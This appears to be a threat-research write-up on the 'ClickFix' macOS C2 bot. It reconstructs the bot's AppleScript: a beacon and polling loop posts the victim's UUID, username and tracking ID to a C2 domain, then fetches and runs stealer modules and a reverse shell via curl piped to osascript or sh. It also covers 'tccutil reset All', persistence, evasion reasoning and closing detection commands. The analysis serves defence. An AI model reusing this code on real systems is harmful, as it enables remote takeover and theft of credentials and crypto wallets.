ClickFix — C2 Bot Architecture (bmodule)
Resident AppleScript polling bot: 5 command dispatch types, machine fingerprinting, tccutil nuclear option, dual-layer persistence.
ClickFix — C2 Bot Architecture (bmodule)
The resident C2 bot maintains persistent bidirectional communication with the C2 server. It is a modular command dispatch framework capable of dynamically loading and executing new capabilities on-demand.
See also: clickfix-handoff | clickfix-bddr | clickfix-stealers
1. Bot Download
After BDDR resolves the C2 domain, the main script downloads the bot:
curl -s -X POST "https://sj98xe4.xyz" \
-d "txid=8a4e280e1159833ede425a1306c2efe5&bmodule" \
| osascript
Piped directly to osascript — executed in-memory without being written to disk. Runs under nohup for terminal session independence.
2. Architecture
Resident Loop
-- Identity collection
set machineUUID to do shell script "ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}'"
set userName to do shell script "whoami"
set txID to do shell script "cat ~/.txid"
set c2Host to "https://sj98xe4.xyz"
-- First contact
do shell script "curl -s -X POST " & quoted form of c2Host & ¬
" -d " & quoted form of ("uuid=" & machineUUID & "&username=" & userName & "&txid=" & txID & "&connect")
-- Polling loop
repeat
delay 60
set taskResponse to do shell script "curl -s -X POST " & quoted form of c2Host & ¬
" -d " & quoted form of ("uuid=" & machineUUID & "&username=" & userName & "&txid=" & txID & "&task")
if taskResponse contains "runloader" then
do shell script "curl -s ... -d 'txid=" & txID & "&smodule' | osascript"
else if taskResponse contains "runlight" then
do shell script "curl -s ... -d 'txid=" & txID & "&lmodule' | osascript"
else if taskResponse contains "replacer" then
do shell script "curl -s ... -d 'txid=" & txID & "&ledger' | sh"
else if taskResponse contains "openshell" then
do shell script "curl -s ... -d 'txid=" & txID & "&shell' | sh"
else if taskResponse contains "newconnect" then
do shell script "echo " & quoted form of newTxid & " > ~/.txid"
do shell script "tccutil reset All"
end if
end repeat
Dual-Layer Persistence
| Layer | Mechanism | Restart on crash |
|---|---|---|
launchd | LaunchAgent plist (KeepAlive: true) | Yes — ThrottleInterval 30s |
nohup | Process detachment | N/A — parent is launchd |
3. Machine Fingerprinting
ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'
IOPlatformUUID is:
- Stable across reboots and reinstalls (hardware-tied)
- Readable without root
- A permanent, unique victim identifier
Three-factor victim ID: IOPlatformUUID + whoami + txid. Even if username changes or ~/.txid is deleted, C2 can partially re-identify via UUID.
4. C2 Communication Protocol
First Contact
POST https://sj98xe4.xyz
uuid=<IOPlatformUUID>&username=alefita&txid=8a4e280e...&connect
C2 logs: hardware UUID, macOS username, tracking ID, and implicitly the stolen password (from ~/.passphrase).
Polling Loop (every 60 seconds)
POST https://sj98xe4.xyz
uuid=<IOPlatformUUID>&username=alefita&txid=8a4e280e...&task
Response: one of runloader, runlight, replacer, openshell, newconnect:<new_txid>, or empty (no-op).
Timing Analysis
T+0s: First contact beacon
T+60s: First task poll
T+120s: Second task poll
T+N*60s: Infinite
60-second interval is aggressive but below most network anomaly detection baselines. Traffic pattern — periodic HTTPS POST to single domain — mimics legitimate analytics/telemetry beacons.
5. Command Dispatch
runloader — Full Stealer
- Trigger: C2 operator confirms victim is crypto user
- Payload: ~195 KB smodule AppleScript
- Execution: piped to osascript — no disk write
- Capabilities: wallet LevelDB sweep, Desktop/Documents, Apple Notes
- See clickfix-stealers
runlight — Light Stealer
- Trigger: fast, low-footprint triage
- Payload: ~168 KB lmodule
- Differences: no Desktop/Documents/Notes sweep
- See clickfix-stealers
replacer — Ledger Wallet Clipboard Hijacker
- Payload: 34-byte stub (
#!/bin/bash\nexec >/dev/null 2>&1) - Current status: stub — silently exits
- Intended capability: monitor clipboard for crypto addresses, replace with attacker-controlled addresses
- Risk: irreversible — blockchain transactions cannot be recalled
openshell — Reverse Shell
- Capability: full interactive reverse shell
- Implications:
- Unrestricted filesystem access as victim user
- Can read
~/.passphrase(stolen password) - Can escalate to root via
sudo -S - Can read SSH keys (
~/.ssh/) - Full system compromise
newconnect — Session Rotation + TCC Nuke
Two actions:
Action 1: Rotate txid
Overwrites ~/.txid with new tracking ID. Anti-forensics — breaks session correlation.
Action 2: tccutil reset All
This wipes the entire macOS TCC database for the current user. All privacy permissions (camera, mic, screen recording, contacts, calendar, photos, accessibility, full disk access) reset to "ask next time."
Why an attacker uses this:
| Scenario | Explanation |
|---|---|
| Bypass previous denials | If victim denied Keychain access, TCC reset clears denial — next request prompts again |
| Re-enable stealer | Wallet exfiltration blocked by Keychain denial can be re-attempted |
| Cover tracks | Removes record of what was denied |
| Setup for second stage | Operator sends runloader again, expecting victim to approve |
Technical: tccutil reset All requires no sudo for the current user's TCC database at ~/Library/Application Support/com.apple.TCC/TCC.db.
6. Command Flow
flowchart TD
START([LaunchAgent Activates]) --> UUID[Collect UUID + Username + txid]
UUID --> CONNECT[POST connect to C2]
CONNECT --> LOOP{60s poll loop}
LOOP --> POLL[POST task]
POLL --> RESPONSE{Parse Response}
RESPONSE -->|runloader| RL[Fetch smodule → osascript]
RESPONSE -->|runlight| RLT[Fetch lmodule → osascript]
RESPONSE -->|replacer| REP[Fetch ledger → sh]
RESPONSE -->|openshell| RSHELL[Fetch shell → sh]
RESPONSE -->|newconnect| NC[new txid + tccutil reset All]
RESPONSE -->|empty| LOOP
RL --> LOOP
RLT --> LOOP
REP --> LOOP
RSHELL --> LOOP
NC --> LOOP
7. OpSec Analysis
| Feature | Intent | Effectiveness |
|---|---|---|
osascript execution | Avoid shell history | High — not in ~/.zsh_history |
| In-memory modules (pipe) | Avoid disk detection | High — no files on disk |
| 60s poll interval | Avoid anomaly detection | Medium — plausible as analytics |
| HTTPS C2 | Prevent content inspection | High — encrypted |
| UUID fingerprinting | Permanent victim ID | Very High — hardware-tied |
| txid rotation | Break forensic correlation | Medium |
| tccutil reset | Clear evidence + re-enable prompts | Noisy — generates unified log entries |
8. Detection Commands
# tccutil reset in Unified Log
log show --predicate 'process == "tccutil"' --last 24h
# osascript making network calls
log show --predicate 'process == "osascript" AND eventMessage CONTAINS "curl"' --last 24h
# Unexpected ioreg calls
log show --predicate 'eventMessage CONTAINS "IOPlatformUUID"' --last 24h
# C2 domain in DNS cache
dscacheutil -cachedump -entries Host | grep -E '(sj98xe4|sessionaquirecheck|maccf9c)'
# Polling process
ps aux | grep -E '(osascript|luhbmchzztkfbxao)'
# LaunchAgent execution
log show --predicate 'process == "launchd" AND eventMessage CONTAINS "luhbmchzztkfbxao"' --last 24h
Source: redhat-clickfix-report/docs/04_stage3_c2_bot.md